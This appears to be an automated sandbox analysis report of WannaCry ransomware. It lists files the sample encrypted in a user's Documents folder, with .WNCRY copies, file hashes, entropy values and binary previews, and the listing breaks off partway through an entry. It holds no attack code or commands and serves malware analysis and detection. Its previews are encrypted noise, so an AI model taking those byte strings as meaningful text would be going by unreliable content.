                                                                                                      Preview:.^T......nD.4m|..3]..V.2...Y..< .*7qZ.op.BIH..1"...In~.%*.......*,.Q....y....m...^..l.....$..'.4..<3s!.j.<.p........."....u.7.w..p..Z.1l......<.9...."`..Kv..d(<....l.[.'.....a.....'xs3.....\..|...^......:W......#.vD..U..Q..;.~Q....OT.^.......4ht$b..9..u...N.M..d!w....k.E.7~."..:1(mXk.i..V.v.....zs.s..b.W..6.W1UQ.*....*...\..%."e/.....X1-{..N.y.Q>....G.7*...,|7.R.S....#.[...b.l..?..v...M@...+..^..'Y".S..Hj.1..u..i.l.t...|pR.Q..5..D.U.....^.++>!.2GN.t....*......_$Op..U...+.UH.\.`_nX....^Y.R"|.G.T....:.%=...1...... .....[.v.\.."....y..F......y4r1.U<).oP.....yS....g.U.X..*.4.s.},.c..>....".x...`$"U....^....4.=}Y.K..;.;.....T..z..4kM.....^...g.._.[..?p.st...b.//.m..5m../..;Dv...y..&;....6tTS."...*'......`:.u.............9.e.D.-,.RWe.....D..p.Q..\..OLE..-$6..q..W..)..*...A.T]FJ*.)....Y~.....qD.dG&.qiMK.C.....&!W.._Y.5.$....>...Rb.....;.g5.......Z..z=.._p..QN/,.R..$.u..Q}L.}.-...(.A...{._..c.!Dn'.....|...$.]....=.Q.,...c...f.f...!.@'.4.2.L.%.....o.%..IW.<

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\GIGIYTFFYT.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.7989462246797
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAPd/J0gRFsaW3AThTtu0iHHqLOibFBOF39Si7rMHqC2KC6b31aH8H6HLxBwZZu:bkcdx0usaW3cT8JHHqLLbDO/f7oHC6cl
                                                                                                      MD5:6598970AA02C313773A89A54C07D12FB
                                                                                                      SHA1:79D4BC32DB446D56B841A7880EA5C8A275F501B7
                                                                                                      SHA-256:66B5AE7CAE784F5151A11735B7AD57BD8AEA2794F7AB5D65BA4CFC612E237915
                                                                                                      SHA-512:BA594DA714D06A196D83C3DC846B12AE11EDF4D7632C1033491CD283F1F9DF117AB6640F200DC89A8C7A9736123D1C99FD71F019D8147A8360D2D0E1E2D830D2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....t.....Y....x..8\.k[y..R.....|.....f.&.**......P.Z......z.WA.d`.<iQ.Z...es.0.Tv...uC...MGB...s...A....r......J.{..BA.. ^...a.X.p.X..[..a....*.....|.....^.,..UD@....s...0?.....>...W...]..u,...k.t..Le!}..q./..y......7Y.Q..D:r]@..,.....%O...c.............P.......?.......9#R>|j.......g..wn..=......kbr?....f..\...rI..k./7D......:H.6.z4../V!{e.~.t.XVQ..`T.........1..U.........V..*5.[...........X[..siy?....AS..<.l2.n.....\...i..#i....g.?H..QUWc.l..7..z..._.d.\n..-.:....f..~..la.v..%....V1k..>..u..Z.$V.s...Z.e3A6....Vaa.k......F.....w..j.....o.......L....F......bts./.h...!.\...3...[...'..`D.OFu..gn.di..N...(ic.5.^...z......j...F..F......r.....%.W^*f..~@8..........ZXE...........[t.......P4.:$..i^O!9.......f.)......1O.Z\.C.....{..-..K.....w..O..7R.<...F.......73...\.......N..".Jau.7`.j.. 9.P&.c..-s...lM.....R}....... )....(.............*..;..0...j.p...q?(...l.nQ[..o...1*.oS.s.e...}.4.r.g. !.?.1.e6.b.o3....W}#O.....EP.T<.Y.}...

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.7989462246797
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAPd/J0gRFsaW3AThTtu0iHHqLOibFBOF39Si7rMHqC2KC6b31aH8H6HLxBwZZu:bkcdx0usaW3cT8JHHqLLbDO/f7oHC6cl
                                                                                                      MD5:6598970AA02C313773A89A54C07D12FB
                                                                                                      SHA1:79D4BC32DB446D56B841A7880EA5C8A275F501B7
                                                                                                      SHA-256:66B5AE7CAE784F5151A11735B7AD57BD8AEA2794F7AB5D65BA4CFC612E237915
                                                                                                      SHA-512:BA594DA714D06A196D83C3DC846B12AE11EDF4D7632C1033491CD283F1F9DF117AB6640F200DC89A8C7A9736123D1C99FD71F019D8147A8360D2D0E1E2D830D2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....t.....Y....x..8\.k[y..R.....|.....f.&.**......P.Z......z.WA.d`.<iQ.Z...es.0.Tv...uC...MGB...s...A....r......J.{..BA.. ^...a.X.p.X..[..a....*.....|.....^.,..UD@....s...0?.....>...W...]..u,...k.t..Le!}..q./..y......7Y.Q..D:r]@..,.....%O...c.............P.......?.......9#R>|j.......g..wn..=......kbr?....f..\...rI..k./7D......:H.6.z4../V!{e.~.t.XVQ..`T.........1..U.........V..*5.[...........X[..siy?....AS..<.l2.n.....\...i..#i....g.?H..QUWc.l..7..z..._.d.\n..-.:....f..~..la.v..%....V1k..>..u..Z.$V.s...Z.e3A6....Vaa.k......F.....w..j.....o.......L....F......bts./.h...!.\...3...[...'..`D.OFu..gn.di..N...(ic.5.^...z......j...F..F......r.....%.W^*f..~@8..........ZXE...........[t.......P4.:$..i^O!9.......f.)......1O.Z\.C.....{..-..K.....w..O..7R.<...F.......73...\.......N..".Jau.7`.j.. 9.P&.c..-s...lM.....R}....... )....(.............*..;..0...j.p...q?(...l.nQ[..o...1*.oS.s.e...}.4.r.g. !.?.1.e6.b.o3....W}#O.....EP.T<.Y.}...

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\JDDHMPCDUJ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.813518834462079
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:n1mVY1rJIXGSfQnC9SmOeTn0Kd1J+BTEo/V3hqtWRSf59ViOR:n0VY1iXGwQnC9br0g1iFd3hcR3E2
                                                                                                      MD5:BF32691980764C60D9EBF6F458A61DBE
                                                                                                      SHA1:34BA0DB905548E6EFFE751AF22F8B4B1504D1724
                                                                                                      SHA-256:096B7F9C8C103ADE49F3E7BB1C73B63475B88FCAAA517ACB43212B5A91191710
                                                                                                      SHA-512:A86DB6828C5388F20F43FB5FB22A9371FF991FF005575B72C330823FC873E1E05D37EF27A1A862802EA946592319D40D4817A115435703C2E5407EF7F5CEA99E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...d.)c0.:...Fv.].G..x.9.c...R{0B.;..2n.|.T+n,.r.U...^.k....@%.`.0.X..tw>(.9..]3.....B..m.....H..w.Y.%+".d7.:...[..^......X..s...........tY...]...B8=U.C;.`.....UA..=...Y.n..\L.4'.d..@}..N1.......(.j.z...s....|......9.)g.7.U.`./..rO.O......3(.3=.....@....>.( ...&(z.V.7".e9...f...zV..@.CZ{._...rs...|}f..!L.)<.9.YE+.A.Ck.8...]..\9...,..o..#.l..a.:N..6.......V.....~.....v.D.D.Ad....w..y.../.....M7v_.^U..",w........@,pY`.=...m6..N.aJ.B..~e.4....^.\..2.....1..e...uu....R...n..j..'...Z...$..^y.\..?...(.{........./..R....`B7...e.I..Z..'......R..K.C?.Tu....NK..>..l......n'?.G[.=7.B.X..;.4.+.....!..].@.m..D...d?E. .K.....'p2.;s..RB.,..z...).........'\......|...{..@..Wic.s.3y....s.C..p.R.CK.g.6[V...m.j....1.....o.....iQ..".3..|.....n....M..A....mn*....K.|.B..<..V.B.....5.>s...>6.#;.I.....S.J......,...(2.j.]C..gIQ./[...}j.....r..k.R.b.I.........[.\..O..1.....F.:^Fc2.........m.W.ZE......Z.},.g...#.....n.r.y..A....#Y`O.~'v_..w....V.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\JDDHMPCDUJ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.819178394931534
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkacQCvPpy+6ggEZ37CwOUC0rG4wX17+S/C4R3rowV9lCTQAX+I1:bkafCnpy+xhCwnMXdH/pR3rlrAfF1
                                                                                                      MD5:A9F2211C9A5AA4B7CE39F706608CF8FD
                                                                                                      SHA1:E705A83D68572AB11E08B9317DB8F8354EF3B825
                                                                                                      SHA-256:7AE0E4927B7C97B694C6AEA0193E4DB8022B69584983B7087889FE6AC5E5CCA5
                                                                                                      SHA-512:2E51773A43454E4A282B51E552C128992E924669FC16CEF71DA1BECDD175874C6560AB637554D415C8AF96BFBEB6FAC51CF760A979F9C91B826C34B7492981F3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....W...........).vq...GP i.......%....;......lN..j....?..;Sy.X.....GgJ.W.B6.%.B.L'..b.|.o.q|#...!..c...5TM... ...i.:..KM-J.......;.H.*|.T#......j.......t.,c...D..J..M=.&^..........?.q...om..A..M..v>.wbFS...cLU..`........[,.{..I..j....n..u.1..M.N............K.c)..U.&r.l..../.U...{.+.-.+.}..k.;.h..rYwZ..)R..R...C.8.x.u.....v....!>.y.MC....GV-.wA..x.L.`).,..[?...o......XI.L..s.!nb.....u..+.3............6..e<f.c.w..O.0.m.z...B....n*a}8...It.gS..o^..u..,+.|7.X.Y.'$....c.[.8....z.I..3. .h7/..mEBg.....P^I......>.=..8L..X.t....j\Q.F.X.{j.......S.=.YW....m.;Y.x. W.=?GDd..:.B+....w..J.v..P.p..$.!=a.c.....R.^.Q...1.'.f ..:ydZ|nG.+O.$s.........\v....4.. ..-...*6.A.....o.......!...k..3..H.;..v...K7^.7.B2.....e..o4.z..?...<P{..F.%...<...A.....1.8..G,..........Dh...QM.X......t._P...^......\%{.I?Y.R....S......~.rF......*W..3..i.&' ...`..G.c.B.....=.p^..0......Y\r.......U..).cJ..d....T...XI /|..d.|..........*..'.ogw.]....|S...[.#Q..-...Rd..!..

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\JDDHMPCDUJ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.819178394931534
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkacQCvPpy+6ggEZ37CwOUC0rG4wX17+S/C4R3rowV9lCTQAX+I1:bkafCnpy+xhCwnMXdH/pR3rlrAfF1
                                                                                                      MD5:A9F2211C9A5AA4B7CE39F706608CF8FD
                                                                                                      SHA1:E705A83D68572AB11E08B9317DB8F8354EF3B825
                                                                                                      SHA-256:7AE0E4927B7C97B694C6AEA0193E4DB8022B69584983B7087889FE6AC5E5CCA5
                                                                                                      SHA-512:2E51773A43454E4A282B51E552C128992E924669FC16CEF71DA1BECDD175874C6560AB637554D415C8AF96BFBEB6FAC51CF760A979F9C91B826C34B7492981F3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....W...........).vq...GP i.......%....;......lN..j....?..;Sy.X.....GgJ.W.B6.%.B.L'..b.|.o.q|#...!..c...5TM... ...i.:..KM-J.......;.H.*|.T#......j.......t.,c...D..J..M=.&^..........?.q...om..A..M..v>.wbFS...cLU..`........[,.{..I..j....n..u.1..M.N............K.c)..U.&r.l..../.U...{.+.-.+.}..k.;.h..rYwZ..)R..R...C.8.x.u.....v....!>.y.MC....GV-.wA..x.L.`).,..[?...o......XI.L..s.!nb.....u..+.3............6..e<f.c.w..O.0.m.z...B....n*a}8...It.gS..o^..u..,+.|7.X.Y.'$....c.[.8....z.I..3. .h7/..mEBg.....P^I......>.=..8L..X.t....j\Q.F.X.{j.......S.=.YW....m.;Y.x. W.=?GDd..:.B+....w..J.v..P.p..$.!=a.c.....R.^.Q...1.'.f ..:ydZ|nG.+O.$s.........\v....4.. ..-...*6.A.....o.......!...k..3..H.;..v...K7^.7.B2.....e..o4.z..?...<P{..F.%...<...A.....1.8..G,..........Dh...QM.X......t._P...^......\%{.I?Y.R....S......~.rF......*W..3..i.&' ...`..G.c.B.....=.p^..0......Y\r.......U..).cJ..d....T...XI /|..d.|..........*..'.ogw.]....|S...[.#Q..-...Rd..!..

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.781329302215705
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:KK+ROaqKqb5xt17Qd9ahSTWWuwcnGvUvVd7la2EHpB/VxHFVb681ww/AQq:gR5q7VJ7Qd9aETpuwc+UdHabJ9T24AQq
                                                                                                      MD5:2E82BAE494295997F9C4CAAB6B8D2453
                                                                                                      SHA1:07510382A67D86E6DFBE811D16A8CBD4B9C53C94
                                                                                                      SHA-256:4E4794FB79F3E6EDA90E8515E89F70274FCAF561D78F5BA70BFDF87DDDA8E364
                                                                                                      SHA-512:00573B81EEE837F3FFA18E8FDBD33DFBEDF4742E6C8EB9BF2F394EBF6731CB62682D8350771D8E43175F24C2194194A71EA10721E8C12D56054D3488C6002BD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.......f..#.^.h..._?l..By.C......#.#.l..7T.5...U.W..Q...j.....!.ZW.28..2....rU$.n....K.:....^.(...ed....+I.0..y.1..N..$..].*Q..D.}.U.....3a.SN\......XN.w00...O_.|.....}(.l.....$.H....@..h.).lW...?ag5>bY|.cL.I.A:...;P...(kG.G.S.&.P...97...S..w.E..;&......e..Fo....n.#*..k.......H..5..hUI. ...7zvf)......._......^.9.z..vu.^.....\_....T.o.@i..4........[.}n0..Z......QH?.W. Q....6.`.T.......h..;.....n..e.d.w.#..$.+..C.....s..`..Se.,N....h"..B.A...7....22s....W.....T......^v........S........./.....H.........n.2..+../..B...)..vVV.D.........,...G.re...c...zH.@.B..S..P.|...E`w...K.....M...^&.3....0...#..t;h.../......E.*.'P.s.d_.T .n.{..2........H]........`~o..D.Qg3&..Q..h....A.zG.q....&M..*H5}......1.jz.......o..y....+.XCx..h.+$..R.t....S~.(.{".,.5c.6{......s...tQ...L.....Q+@_...m..n...a.E.{jXhz.~.ZY.....|....~.n.})*.'n.K&u.V..q5..}...c..M..^P...3.i.;LE...\....1.rC.....Rt...#....Y0....s.)..^...x..8.nm2....4..Z{..........b.8..^. ...__.C

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84044986445811
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk7+5w96v+9DPpUC6lRua5WgZ3/QQcm4tH5bZzhnWzSP689Virn7hSakKN:bk7+5wUuPpKRusjQQcmm5NlnVHwn7gyN
                                                                                                      MD5:962AC628063391E1B8B73D888E8EC276
                                                                                                      SHA1:F3AA1C4180BF39B07EA67F7CBD37B99229C7FB18
                                                                                                      SHA-256:3206591204181E87DC35193BDA132D92B8B0B709303665E8EB523A0515AC7648
                                                                                                      SHA-512:B633969E8A3CE271ECBE211100FE4D415F9AA8F60D9AB365F869B8BB2AD9B378D95F856A9F693F38BAA694851B3883A884ECEC115F239517A2E2371E9F85A326
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....`.K....@y......An"..v2..#\.*..}...XS..9.....".~.UM:...=......{..G.....~..:U.H.+,<..|.[.A...E..XFIb.H7V.....6w.6.E{v._8G ...Xq......xDk.d.z&c....9Mu}Z3.8"...]..AQ.>..o.iH..sXB....[...U..(..p.UI.}F.5"...Ju"/..Li.k;...&(.......y_e.......@3|................@`h......L..C*..>..Ll..*..,zS.W...w....b.b'..C.l..(3............/.z...n.v...x@..k.nlz)....p9|..|V.._....&..d..u..7V....^..L&.vp.'((.....(...@[..n..3...}...d..L.z.....Y.....~.Us..h..c.q..:f....2..-,..]M.2a..@..8,.VO)#q[.../..v...).F.Y...JM*.h_@.a......U....nmD.....%u@....+..E....u..^..B. .`F....dZ.V.q..N...eY...P..B.e..T.._^..t.C.\Y.F..i..1..*..,k.. ....I.T6f...fT.|...F7.S@.p.g<B.]j..({...V..."vD....I.u.8....Az......o.X..Fs{3....b|....(.6.......Gm./.....O..D`...{k..Q..l.,..sL.O..(m..w....N.V....W......Z...+5.T.RI.9~...5.'....+~.^...............[...~.M-KT./.>S...'.+\..+.........,K.M....&..G2.pO.Z.m.{5O.O.y...b...KSg.[t.UG`C..S.C.....&..r...|.......tG.J....z...w.....b#.Y.cR...

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.84044986445811
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk7+5w96v+9DPpUC6lRua5WgZ3/QQcm4tH5bZzhnWzSP689Virn7hSakKN:bk7+5wUuPpKRusjQQcmm5NlnVHwn7gyN
                                                                                                      MD5:962AC628063391E1B8B73D888E8EC276
                                                                                                      SHA1:F3AA1C4180BF39B07EA67F7CBD37B99229C7FB18
                                                                                                      SHA-256:3206591204181E87DC35193BDA132D92B8B0B709303665E8EB523A0515AC7648
                                                                                                      SHA-512:B633969E8A3CE271ECBE211100FE4D415F9AA8F60D9AB365F869B8BB2AD9B378D95F856A9F693F38BAA694851B3883A884ECEC115F239517A2E2371E9F85A326
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....`.K....@y......An"..v2..#\.*..}...XS..9.....".~.UM:...=......{..G.....~..:U.H.+,<..|.[.A...E..XFIb.H7V.....6w.6.E{v._8G ...Xq......xDk.d.z&c....9Mu}Z3.8"...]..AQ.>..o.iH..sXB....[...U..(..p.UI.}F.5"...Ju"/..Li.k;...&(.......y_e.......@3|................@`h......L..C*..>..Ll..*..,zS.W...w....b.b'..C.l..(3............/.z...n.v...x@..k.nlz)....p9|..|V.._....&..d..u..7V....^..L&.vp.'((.....(...@[..n..3...}...d..L.z.....Y.....~.Us..h..c.q..:f....2..-,..]M.2a..@..8,.VO)#q[.../..v...).F.Y...JM*.h_@.a......U....nmD.....%u@....+..E....u..^..B. .`F....dZ.V.q..N...eY...P..B.e..T.._^..t.C.\Y.F..i..1..*..,k.. ....I.T6f...fT.|...F7.S@.p.g<B.]j..({...V..."vD....I.u.8....Az......o.X..Fs{3....b|....(.6.......Gm./.....O..D`...{k..Q..l.,..sL.O..(m..w....N.V....W......Z...+5.T.RI.9~...5.'....+~.^...............[...~.M-KT./.>S...'.+\..+.........,K.M....&..G2.pO.Z.m.{5O.O.y...b...KSg.[t.UG`C..S.C.....&..r...|.......tG.J....z...w.....b#.Y.cR...

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZGGKNSUKOP.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806929087078837
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:1iJk9KGvAY/2s46JUnZD3b/VdcrmSBTR8L8/N9FYNfiOFjy7YsK/cYET+Sw2WGMA:aYRH3+Tbdu1BF//pbYs5YB12PnQLJY
                                                                                                      MD5:1FB59EC6A4BA757A3A654C94806C958B
                                                                                                      SHA1:0B1C008AE4D53A19685C9C136859D7376305269B
                                                                                                      SHA-256:761A14C1E5A0F90A36A077EAC33BD1794C5A18E0C87C107E51A1E8202E4D82EA
                                                                                                      SHA-512:27FF0D3F0A816C19E6157FEC90825EBCB61E25484B3895CC1435A4F9E667C01A16F5F588902A2DDD77D2DA7EBDC77E6AABB226B95287AA55AB7DA20A207AF189
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:6.....,.6.....F..@0.........q c.^..B.4..U/.q...B..\..e..~...D...s.g...%.W.x....|k..6.)bV....K......v7x.....C..S.....nA>...8|..1.t...#g.r7.^8~Q4.S2l5J..{,X.......#F`?..u.....8BWP.Kn,Ve.u".*v.;.z..;Rg].,...2P-....._+....,r.-.y....5b^w...V5.j.M..>....,.......f.Dj.=.~N,......z>p^$.4Q*.)...V...R...J....b...P!.~......jP. f...e...<s....wW.Q.x.<.j.BL..B....o.A5mOr.X.~..'0..x.[..X.... ..y#F......].T....9l.Ey..:T..!....(..Plk..>`..r{...3.S..'..O.hj........o.^..tw.@.0..I.....'.F...%.N.C..ze.l....~.....>..Nq.b[.<i,...%.'/....^jpY.:P....j,..Wy..L..T.....B..6.....[..]u.9J.c.d..IR.].(/.9j...?.v..dW....N*r.&....m.c..J.rO.WX......V...82........B+.2..s.....8....ZI....W.S.1.Q..(.....*.3n..8.I.8.*<..oe.....&m:...T......Ki....V..=.D.........|..W..9ri.........4...W.k~%..5.G...d. N.V0s.a..0.LH.*h....kf;.3..5.0!.Dzt.)X.......wq..%,K...}.Y...6^L.C.)..o...O..l.wx.^h^.......{.....hC.;ebv`fn.g.D....<..C|..9.B6.i.n..FVQS..{"..m#9..-X.J..X..C'_.....E)....B..T...92.a.k

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847824710168415
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYt0ELbu+ncuah7naGksJmHylgIjWmbK89UQHD00eNlwybh03+16lhsZwIORPTa:bkFEPuQcuoa4mH2gIjT2Qj00glrmO164
                                                                                                      MD5:8BD647CFA16BC304F520786F1EB5F485
                                                                                                      SHA1:F3DEBD1C104ADBB89670C22EE872466C7342DA61
                                                                                                      SHA-256:E6036B5B7F239F4D3F771B69F545A16D43EFDE0A9C8FF60FEABD35A428A964B4
                                                                                                      SHA-512:FCD086928534C06FA94D9226ABF46E2DCB55C2A99B07D033FE6499B861D15C6DB2F208C8236AD10BD992BE10BD98C36830743A57E97606A5307520F6BAF03934
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........!...d/A.(.\p.a.C.....7.-...um.*C....WQZ...S.D..C.7........y..`..n.U&....UC.Y,.. n..'..o.g..'.W.!.m.3.E.t..... .....P6{}.+...Se.m%...)..7.D1..zIq..}.Nyj..G.G....>#|.|..../.G.M.. j.[.9..6.......3.[ce....voIH......E........LM..`.sT... ..)..'.7..................l~c0G.`.s.hNc....5Jp.H..I...X.(z....r..\.w....f.Bv...".`...7..Ov.AC..9...}B..>Y.GX..I....S....R..&J.X..:.@.%.......f.#._.d....@...?E.L2hMF.j.&)i.....e...^v.S..s.bU+[......gH.V.=.0\<..'..d\.Nl.[....A..h.0.......u.>c..#Y.E..Z..=......%.rq.~c....2.nm4e....v./..Eo.A.X+~.....N....L.gw.":.k....*.}...{..7cp......ad.....2..R.Nq..`..:2..`..K..O. .]].r{[,SJ._.=..`+..O)<..y]7..<sM.....0i.W..[....7R ..'...3...).....o...&.`......R.E...E..).w..R.W...../.m.......O.8....0.r`..~..."H...(..QQqaH;.9...5F.u7..*.z.o."...R!..S..(.E.y..).......m.2.:...j..`...E.h.....)%.M...........<y..(h.....S....\.p...Ev@...wc.5y.8D.....=B.j4.....b.A.s=.a..F.~.L._.C.,.3..).?....>...8{.v...H...a....6.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847824710168415
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYt0ELbu+ncuah7naGksJmHylgIjWmbK89UQHD00eNlwybh03+16lhsZwIORPTa:bkFEPuQcuoa4mH2gIjT2Qj00glrmO164
                                                                                                      MD5:8BD647CFA16BC304F520786F1EB5F485
                                                                                                      SHA1:F3DEBD1C104ADBB89670C22EE872466C7342DA61
                                                                                                      SHA-256:E6036B5B7F239F4D3F771B69F545A16D43EFDE0A9C8FF60FEABD35A428A964B4
                                                                                                      SHA-512:FCD086928534C06FA94D9226ABF46E2DCB55C2A99B07D033FE6499B861D15C6DB2F208C8236AD10BD992BE10BD98C36830743A57E97606A5307520F6BAF03934
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........!...d/A.(.\p.a.C.....7.-...um.*C....WQZ...S.D..C.7........y..`..n.U&....UC.Y,.. n..'..o.g..'.W.!.m.3.E.t..... .....P6{}.+...Se.m%...)..7.D1..zIq..}.Nyj..G.G....>#|.|..../.G.M.. j.[.9..6.......3.[ce....voIH......E........LM..`.sT... ..)..'.7..................l~c0G.`.s.hNc....5Jp.H..I...X.(z....r..\.w....f.Bv...".`...7..Ov.AC..9...}B..>Y.GX..I....S....R..&J.X..:.@.%.......f.#._.d....@...?E.L2hMF.j.&)i.....e...^v.S..s.bU+[......gH.V.=.0\<..'..d\.Nl.[....A..h.0.......u.>c..#Y.E..Z..=......%.rq.~c....2.nm4e....v./..Eo.A.X+~.....N....L.gw.":.k....*.}...{..7cp......ad.....2..R.Nq..`..:2..`..K..O. .]].r{[,SJ._.=..`+..O)<..y]7..<sM.....0i.W..[....7R ..'...3...).....o...&.`......R.E...E..).w..R.W...../.m.......O.8....0.r`..~..."H...(..QQqaH;.9...5F.u7..*.z.o."...R!..S..(.E.y..).......m.2.:...j..`...E.h.....)%.M...........<y..(h.....S....\.p...Ev@...wc.5y.8D.....=B.j4.....b.A.s=.a..F.~.L._.C.,.3..).?....>...8{.v...H...a....6.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZIPXYXWIOY.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.803745843603796
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:75HPzslXoyijicfd6bhr0v2bD45PH4K2L0oNUjZ3T0MX:7hPQ4Xx8try2bsPH4h3NtMX
                                                                                                      MD5:83EB49EAD5A54E4627E41976B5CC34C4
                                                                                                      SHA1:CBC003AF0648684EAA467319A68735E3857BCF8F
                                                                                                      SHA-256:65AA7FC326739763127A84CBE6EC20C223F4AC216FD19DC7D6FBBC8FAE5212D2
                                                                                                      SHA-512:3BAF408383B8F7D61255455571D880413FFDC6D2E7E3DD78D9D7DBB60ACB07FA6C468D64802498418C10E62ECC912B773BFADEE9B3AF6EDFD53D7DA78FDBB8A2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..".J.......;eR...Q.......[Kr.u..%....".......j.E....v......j...."....F.........c.R.+.;....].$vv&.......x.?............{x...jnQ...9c......"...^...a...a...|.X.BKg..s..c...J4a'*......X ._Y.%..O.&.W`........<.Lf......=..R...x..0H2R..k..-..&.o=..qXd...8....B...s3 ......&Ks...c..&..........!.......9.F..+a.].zR..G......{r..=..4kVO".vW..>_..ju"...%.,.%..G.*X......|...E..R(.X...lL.\.%l..{.].h.g...gJa*wU...(..8....]dwS.Z......!y....=+..B...},.(..C.lt.L...$g...P..r....C..c.....!..IL.R..K..([."...l..(.<o...!.]......2u4}t....(9ZQ2.u;.....+..KjD+....../~...V.M.g7.....cx....P%..~..^q..u.C.V5.!`X...#...........!.S..iDjfmKJq.S....W..c...<!..k^`.sW.4h......y..4+....$VT....i..../...4..i.7.-V..Mt..zD.p./.EP.....F..a....Y.F.R.]).=5.I.4.(.....diy...3c.....fo[..3.><..uW....oV...k^.._6.h$.A.Xe..|..... NUo..`..0....O.8... .=.]m.:G.M}^F'........}.;.VF....38..b.....,.U..D.*.}...~0mlK^B....+w.`..{.1...'...."J.+AW.ND.................1.C.......:Jc.><*j8..3..p..

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\ZIPXYXWIOY.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83986054407561
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdn0qWwvb5rU5PKokEVNqcNL8BpoHKkDZktpc+vNBWW+ybsO+VoC22vTP7+:bkd0qW1Kl27o3kml0W+ybB+VoCD7P7+
                                                                                                      MD5:95307BDFB7B78C9DE11B2D68AAC314E4
